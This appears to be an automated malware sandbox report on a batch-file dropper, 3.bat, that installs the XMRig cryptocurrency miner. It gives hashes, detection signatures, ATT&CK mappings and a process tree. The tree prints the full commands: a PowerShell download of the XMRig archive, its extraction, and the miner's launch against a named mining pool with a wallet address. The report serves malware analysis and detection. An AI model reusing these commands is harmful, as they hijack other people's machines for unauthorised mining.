xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
316s
max time network
1799s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20-05-2024 20:53

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General

Target

3.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 4348 powershell.exe
4 4348 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

xmrig.exe

pid process

3332 xmrig.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4348 powershell.exe
4712 powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4348 powershell.exe
4348 powershell.exe
4348 powershell.exe
4712 powershell.exe
4712 powershell.exe
4712 powershell.exe

flow	pid	process
2	4348	powershell.exe
4	4348	powershell.exe

pid	process
3332	xmrig.exe

pid	process
4348	powershell.exe
4712	powershell.exe

pid	process
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exexmrig.exe

description	pid	process
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeLockMemoryPrivilege	3332	xmrig.exe
Token: SeLockMemoryPrivilege	3332	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

xmrig.exe

pid process

3332 xmrig.exe

pid	process
3332	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1580 wrote to memory of 4348	1580	cmd.exe	powershell.exe
PID 1580 wrote to memory of 4348	1580	cmd.exe	powershell.exe
PID 1580 wrote to memory of 4712	1580	cmd.exe	powershell.exe
PID 1580 wrote to memory of 4712	1580	cmd.exe	powershell.exe
PID 1580 wrote to memory of 3332	1580	cmd.exe	xmrig.exe
PID 1580 wrote to memory of 3332	1580	cmd.exe	xmrig.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3332

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e8698cc44a8db77ff2556d10a92de299

SHA1
03e5856e7d2962114cd6c64c266bb7d47d524d8c

SHA256
49f562e3f7e47b38b444c8222b9d4d6eaeef2d88dccbb175c973453b2015a5f2

SHA512
e55531b3b006fe2c95284fcb1812c4f69a27c42d934abbaad4cc5afb65daea8941b9f34b1648ebb0bd4dc18723786531913300abc34c5211384ae896bb285d01

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vptbq0hu.4wa.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip
Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/3332-117-0x000001A6B2C20000-0x000001A6B2C40000-memory.dmp

Filesize
128KB

Download
memory/4348-3-0x00007FFDB61E3000-0x00007FFDB61E4000-memory.dmp

Filesize
4KB

Download
memory/4348-9-0x00000195F3B80000-0x00000195F3BF6000-memory.dmp

Filesize
472KB

Download
memory/4348-25-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4348-30-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4348-6-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4348-5-0x00000195DB840000-0x00000195DB862000-memory.dmp

Filesize
136KB

Download
memory/4348-10-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4712-41-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4712-76-0x0000027C99A20000-0x0000027C99A32000-memory.dmp

Filesize
72KB

Download
memory/4712-63-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4712-89-0x0000027C998B0000-0x0000027C998BA000-memory.dmp

Filesize
40KB

Download
memory/4712-113-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4712-40-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4712-37-0x00007FFDB61E0000-0x00007FFDB6BCC000-memory.dmp

Filesize
9.9MB

Download